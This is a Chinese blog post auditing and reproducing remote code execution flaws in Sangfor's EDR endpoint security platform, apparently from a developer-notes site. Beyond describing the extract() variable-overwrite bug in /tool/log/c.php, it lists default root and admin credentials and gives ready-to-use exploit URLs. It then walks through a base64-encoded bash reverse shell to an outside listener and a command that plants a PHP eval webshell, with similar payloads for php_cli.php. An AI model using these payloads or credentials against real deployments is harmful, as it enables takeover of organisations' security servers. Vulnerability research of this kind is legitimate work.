热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

深信服PHP,深信服终端检测响应平台EDR代码审计

今年HW深信服的EDR爆出了一些很低级的漏洞,也看到网上不少人再吐槽,国光也忍不住来分析复现看看。基本配置信息网上地下流传的深信服的EDRISO文件实际

今年 HW 深信服的 EDR 爆出了一些很低级的漏洞,也看到网上不少人再吐槽,国光也忍不住来分析复现看看。

基本配置信息

网上地下流传的深信服的 EDR ISO 文件实际上是 CentOS7 镜像,下面国光简单分享记录一下相关信息,然后面看到的朋友少走弯路。

首先 ISO 安装的话,不要使用快速安装,直接挂载即可,相关的账号密码为:

用户名

密码

root

edr@sangfor

安装完成默认是静态 IP,得配置一下 DHCP IP 即可:

vim /etc/sysconfig/network-scripts/ifcfg-eth0

主要修改下面部分

BOOTPROTO=dhcp

然后删掉 IPADDR、GATEWAY 和 NETMASK 等静态 IP 相关的设置,重启一下网络服务即可:

service network restart

查看 IP 地址,浏览器直接访问即可访问到前端登录界面:

11a5b1a2ac8ff2adba80915180d24cdb.png

初始默认的用户名和密码都为:admin

搭建好之后 直接开始复习之前网上爆出来的漏洞信息吧

/tool/log/c.php

首先$show_form 接受用户输入请求:

b3a58f9c0f7c0672c42f5399d024ca5c.png

跟进这个函数,发现是经典的extract变量覆盖 ,参数值完全可控……漏洞:

78cd11993537d2ab5b125867cf6342fb.png

所以最终可以构造如下 Payload:

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&path=id

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&row=id

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&limit=id

efac25a3a9fcbc9841e111e6bf0dffc5.png

这样执行命令不是很方便,可以选择 bash 反弹 shell 出来,或者直接上传一个 webshell,下面简单来尝试一下。

Bash 弹 Shell

首先本地开启 nc 监听端口:

➜ ~ ncat -lvp 2333

Ncat: Version 7.80 ( https://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

然后准备一个反弹 shell 命令:

bash -i >& /dev/tcp/10.20.24.244/2333 0>&1

Base64 编码为:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx

因为出现了+号,浏览器会进行 URL 解码,+会变成空格,所以我们得把 +首先进行 URL 编码一下,最后的 payload 就是如下格式:

https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx"|base64 -d|bash

最后执行完即可成功 nc 上线,然后就可以执行任意命令了:

527d92c0560774dee454c41cbf9c36c7.png

直接写入 Webshell

echo '' > shell.php

Base64 编码 & +编码:

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA==

最终 payload 如下:

https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA=="|base64 -d|bash

fcc6b6135c7e5feb724432fedc657f4d.png

但是有毒的是,这个 webshell 执行起来并不是那么顺手,很多命令依然无法执行,而且 AntSword 也无法连接,哭了。

/tool/php_cli.php

这个文件的功能默认无法使用,因为一开始就会判断 enable_dc_tool文件是否存在,其中 ldb_ext_root()的路径位置为:

/ac/dc/ldb/

下面是详细的代码:

5af75822c65b8bfe18c2015ad81098b8.png

但是假设存在这个文件的时候,下面就会有一个类似于 /tool/log/c.php的中漏洞一样,也是存在代码执行的,不过比较鸡肋,没有利用价值:

4482c73b135418665bc5b775336feb3e.png

执行效果如下:

0dd5b7fe6b2fe433555faf2b7c1df39d.png

所以最终可以构造如下 Payload:

https://xxx.xxx.xx.xx/tool/php_cli.php?code=system(id);

https://xxx.xxx.xx.xx/tool/php_cli.php?strip_slashes=system&code=id

/tool/ldb_cli.php

这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:

8c47be24108dfee531e9f7edd5dd4780.png

/tool/mdd_sql.php

这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:

bdc751c4b0c8440e8cc35e66d2dbf8dd.png

参考链接



推荐阅读
  • Imdevelopinganappwhichneedstogetmusicfilebystreamingforplayinglive.我正在开发一个应用程序,需要通过流 ... [详细]
  • 概述H.323是由ITU制定的通信控制协议,用于在分组交换网中提供多媒体业务。呼叫控制是其中的重要组成部分,它可用来建立点到点的媒体会话和多点间媒体会议 ... [详细]
  • 目录实现效果:实现环境实现方法一:基本思路主要代码JavaScript代码总结方法二主要代码总结方法三基本思路主要代码JavaScriptHTML总结实 ... [详细]
  • baresip android编译、运行教程1语音通话
    本文介绍了如何在安卓平台上编译和运行baresip android,包括下载相关的sdk和ndk,修改ndk路径和输出目录,以及创建一个c++的安卓工程并将目录考到cpp下。详细步骤可参考给出的链接和文档。 ... [详细]
  • javascript  – 概述在Firefox上无法正常工作
    我试图提出一些自定义大纲,以达到一些Web可访问性建议.但我不能用Firefox制作.这就是它在Chrome上的外观:而那个图标实际上是一个锚点.在Firefox上,它只概述了整个 ... [详细]
  • 本文介绍了Perl的测试框架Test::Base,它是一个数据驱动的测试框架,可以自动进行单元测试,省去手工编写测试程序的麻烦。与Test::More完全兼容,使用方法简单。以plural函数为例,展示了Test::Base的使用方法。 ... [详细]
  • 推荐系统遇上深度学习(十七)详解推荐系统中的常用评测指标
    原创:石晓文小小挖掘机2018-06-18笔者是一个痴迷于挖掘数据中的价值的学习人,希望在平日的工作学习中,挖掘数据的价值, ... [详细]
  • FeatureRequestIsyourfeaturerequestrelatedtoaproblem?Please ... [详细]
  • IjustinheritedsomewebpageswhichusesMooTools.IneverusedMooTools.NowIneedtoaddsomef ... [详细]
  • 本文介绍了pack布局管理器在Perl/Tk中的使用方法及注意事项。通过调用pack()方法,可以控制部件在显示窗口中的位置和大小。同时,本文还提到了在使用pack布局管理器时,应注意将部件分组以便在水平和垂直方向上进行堆放。此外,还介绍了使用Frame部件或Toplevel部件来组织部件在窗口内的方法。最后,本文强调了在使用pack布局管理器时,应避免在中间切换到grid布局管理器,以免造成混乱。 ... [详细]
  • Python基础知识:注释、输出和input交互
    本文介绍了Python基础知识,包括注释的使用、输出函数print的用法以及input函数的交互功能。其中涉及到字符串和整数的类型转换等内容。 ... [详细]
  • 判断编码是否可立即解码的程序及电话号码一致性判断程序
    本文介绍了两个编程题目,一个是判断编码是否可立即解码的程序,另一个是判断电话号码一致性的程序。对于第一个题目,给出一组二进制编码,判断是否存在一个编码是另一个编码的前缀,如果不存在则称为可立即解码的编码。对于第二个题目,给出一些电话号码,判断是否存在一个号码是另一个号码的前缀,如果不存在则说明这些号码是一致的。两个题目的解法类似,都使用了树的数据结构来实现。 ... [详细]
  • ①页面初始化----------收到客户端的请求,产生相应页面的Page对象,通过Page_Init事件进行page对象及其控件的初始化.②加载视图状态-------ViewSta ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • 获取服务器的IP地址方法以DNS法较为简单实用,如下:  usingSystem.Net;  privatevoidButtonIP_Click(objectsender,Syst ... [详细]
author-avatar
汐玉Shining
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有